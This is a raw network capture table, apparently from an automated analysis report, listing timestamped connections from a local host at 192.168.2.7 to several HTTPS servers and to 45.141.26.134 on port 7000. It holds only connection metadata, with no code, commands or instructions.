Jan 2, 2025 20:12:07.564380884 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:07.725320101 CET	443	56443	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.725519896 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.726778984 CET	443	56443	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.726900101 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.731053114 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.731075048 CET	443	56443	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.731431961 CET	443	56443	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.734126091 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.734808922 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.735160112 CET	443	56446	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:07.735245943 CET	56446	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:07.735618114 CET	56446	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:07.735621929 CET	443	56446	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:07.735775948 CET	56446	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:07.735780954 CET	443	56446	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:07.750636101 CET	443	56445	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.750917912 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.751475096 CET	443	56445	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.751734018 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.754548073 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.754563093 CET	443	56445	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.754846096 CET	443	56445	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.754914999 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.762919903 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:07.779350996 CET	443	56443	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.807323933 CET	443	56445	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:07.897439957 CET	443	56448	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:07.899048090 CET	56448	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:07.899573088 CET	56448	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:07.899586916 CET	443	56448	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:07.899800062 CET	56448	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:07.899807930 CET	443	56448	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.120187998 CET	443	56443	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.120450020 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.120471954 CET	443	56443	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.120583057 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.120686054 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.120723963 CET	443	56443	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.120887041 CET	443	56443	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.120899916 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.120970964 CET	56443	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.121581078 CET	56454	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.121622086 CET	443	56454	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.122147083 CET	56454	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.122454882 CET	56454	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.122472048 CET	443	56454	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.141525030 CET	443	56445	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.141733885 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.141752958 CET	443	56445	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.141879082 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.142030001 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.142112017 CET	443	56445	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.142261028 CET	443	56445	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.142292023 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.142378092 CET	56445	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.143285036 CET	56455	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.143337965 CET	443	56455	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.143553019 CET	56455	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.143894911 CET	56455	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.143918991 CET	443	56455	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.173990011 CET	443	56446	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.174055099 CET	443	56446	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.174077988 CET	56446	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.174093008 CET	443	56446	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.174144030 CET	56446	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.174144030 CET	56446	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.174154043 CET	443	56446	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.174186945 CET	443	56446	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.174218893 CET	56446	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.174485922 CET	56446	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.175869942 CET	56446	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.175884008 CET	443	56446	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.175895929 CET	56456	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.175945997 CET	443	56456	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.176157951 CET	56456	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.176527023 CET	56456	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.176546097 CET	443	56456	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.318711042 CET	443	56448	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.318770885 CET	443	56448	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.318783998 CET	56448	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.318809032 CET	443	56448	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.318824053 CET	56448	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.318845987 CET	56448	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.318854094 CET	443	56448	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.318888903 CET	443	56448	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.318888903 CET	56448	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.318924904 CET	56448	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.319986105 CET	56448	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.320014954 CET	443	56448	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.320729017 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.320774078 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.320831060 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.321043968 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.321057081 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.780981064 CET	443	56454	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.781101942 CET	56454	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.781765938 CET	443	56454	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.781821012 CET	56454	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.792387962 CET	443	56455	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.792485952 CET	56455	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.793160915 CET	443	56455	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.793236017 CET	56455	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.801721096 CET	56454	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.801737070 CET	443	56454	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.802004099 CET	443	56454	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.802072048 CET	56454	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.802408934 CET	56454	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.804400921 CET	443	56456	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.804475069 CET	56456	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.805242062 CET	56456	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.805255890 CET	443	56456	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.805763960 CET	56455	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.805782080 CET	443	56455	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.806063890 CET	443	56455	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.806129932 CET	56455	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.806972027 CET	56455	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.808176994 CET	56456	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.808202028 CET	443	56456	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.843337059 CET	443	56454	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.847332001 CET	443	56455	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.968405962 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.968475103 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.969125032 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.969130993 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.969800949 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.969806910 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:08.970676899 CET	56454	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.970695019 CET	56455	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.970768929 CET	56456	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:08.973577976 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.973617077 CET	443	56464	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.973865032 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.974500895 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.974508047 CET	443	56464	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.975384951 CET	56465	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.975444078 CET	443	56465	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:08.975509882 CET	56465	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.975692987 CET	56465	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:08.975704908 CET	443	56465	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:09.402443886 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:09.402501106 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:09.402534962 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:09.402545929 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:09.402575016 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:09.402602911 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:09.402607918 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:09.402641058 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:09.402792931 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:09.403844118 CET	56457	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:09.403861046 CET	443	56457	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:09.472012043 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:09.476841927 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:09.629257917 CET	443	56464	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:09.629446030 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:09.630078077 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:09.630078077 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:09.630089998 CET	443	56464	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:09.630099058 CET	443	56464	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:09.639672041 CET	443	56465	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:09.639780998 CET	56465	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:09.640567064 CET	56465	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:09.640567064 CET	56465	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:09.640579939 CET	443	56465	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:09.640589952 CET	443	56465	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:09.815305948 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:09.824146032 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:09.829673052 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:10.009191990 CET	443	56464	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.009267092 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.009289980 CET	443	56464	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.009535074 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.009732962 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.009778976 CET	443	56464	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.009951115 CET	443	56464	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.010029078 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.010029078 CET	56464	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.010716915 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.010740995 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.010761023 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.010772943 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.010848045 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.010852098 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.011096001 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.011116982 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.011564016 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.011576891 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.023035049 CET	443	56465	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.023628950 CET	443	56465	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.023778915 CET	56465	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.024101973 CET	56465	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.024122000 CET	443	56465	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.024713993 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.024733067 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.024736881 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.024771929 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.024847031 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.024847031 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.025176048 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.025188923 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.025554895 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.025573969 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.643260956 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.643323898 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.643852949 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.643862009 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.646090031 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.646095991 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.649209976 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.649283886 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.650008917 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.650167942 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.654356003 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.654366970 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.654727936 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.654791117 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.655340910 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.661467075 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.661520958 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.661901951 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.661907911 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.662080050 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:10.662085056 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:10.681241035 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.681312084 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.682024956 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.682101965 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.683932066 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.683944941 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.684202909 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.684266090 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.684637070 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:10.703326941 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:10.727338076 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.041619062 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.041851997 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.041872025 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.041975975 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.041975975 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.042020082 CET	443	56474	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.042073965 CET	56474	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.042665958 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.042701960 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.042752981 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.043168068 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.043184042 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.064497948 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.064532995 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.064543962 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.064558029 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.064570904 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.064620972 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.064625978 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.064631939 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.064754963 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.065638065 CET	56473	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.065649033 CET	443	56473	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.066294909 CET	56488	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.066324949 CET	443	56488	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.066450119 CET	56488	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.066545010 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.066660881 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.066670895 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.066680908 CET	56488	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.066693068 CET	443	56488	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.066715956 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.066858053 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.066889048 CET	443	56476	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.066929102 CET	56476	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.067286015 CET	56489	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.067331076 CET	443	56489	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.067383051 CET	56489	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.067600965 CET	56489	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.067617893 CET	443	56489	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.214312077 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.214370966 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.214389086 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.214410067 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.214422941 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.214447021 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.214529991 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.214570999 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.214576006 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.214607000 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.215394974 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.215409040 CET	443	56475	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.215420961 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.215460062 CET	56475	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.215965986 CET	56490	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.216012001 CET	443	56490	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.216155052 CET	56490	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.217905045 CET	56490	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.217924118 CET	443	56490	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.671303034 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.671474934 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.672133923 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.672199011 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.675215006 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.675220966 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.675518036 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.675584078 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.676647902 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.716008902 CET	443	56488	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.716211081 CET	443	56489	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.716295004 CET	56489	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.716308117 CET	56488	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.716850996 CET	56488	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.716857910 CET	443	56488	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.716988087 CET	443	56489	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.717035055 CET	56489	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.717286110 CET	56488	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:11.717295885 CET	443	56488	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:11.719324112 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.719484091 CET	56489	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.719491005 CET	443	56489	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.719722986 CET	443	56489	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:11.720005989 CET	56489	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.720423937 CET	56489	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:11.763325930 CET	443	56489	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:12.022258997 CET	443	56490	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:12.022371054 CET	56490	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:12.022953987 CET	56490	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:12.022959948 CET	443	56490	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:12.023144960 CET	56490	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:12.023149967 CET	443	56490	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:12.051464081 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:12.051515102 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:12.051523924 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:12.051541090 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:12.051587105 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:12.051621914 CET	56486	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:12.051630020 CET	443	56486	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:12.052292109 CET	56496	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:12.052304983 CET	443	56496	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:12.052396059 CET	56496	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:12.052696943 CET	56496	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:12.052706957 CET	443	56496	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:12.113107920 CET	443	56489	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:12.113174915 CET	56489	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:12.113184929 CET	443	56489	142.250.74.206	192.168.2.7
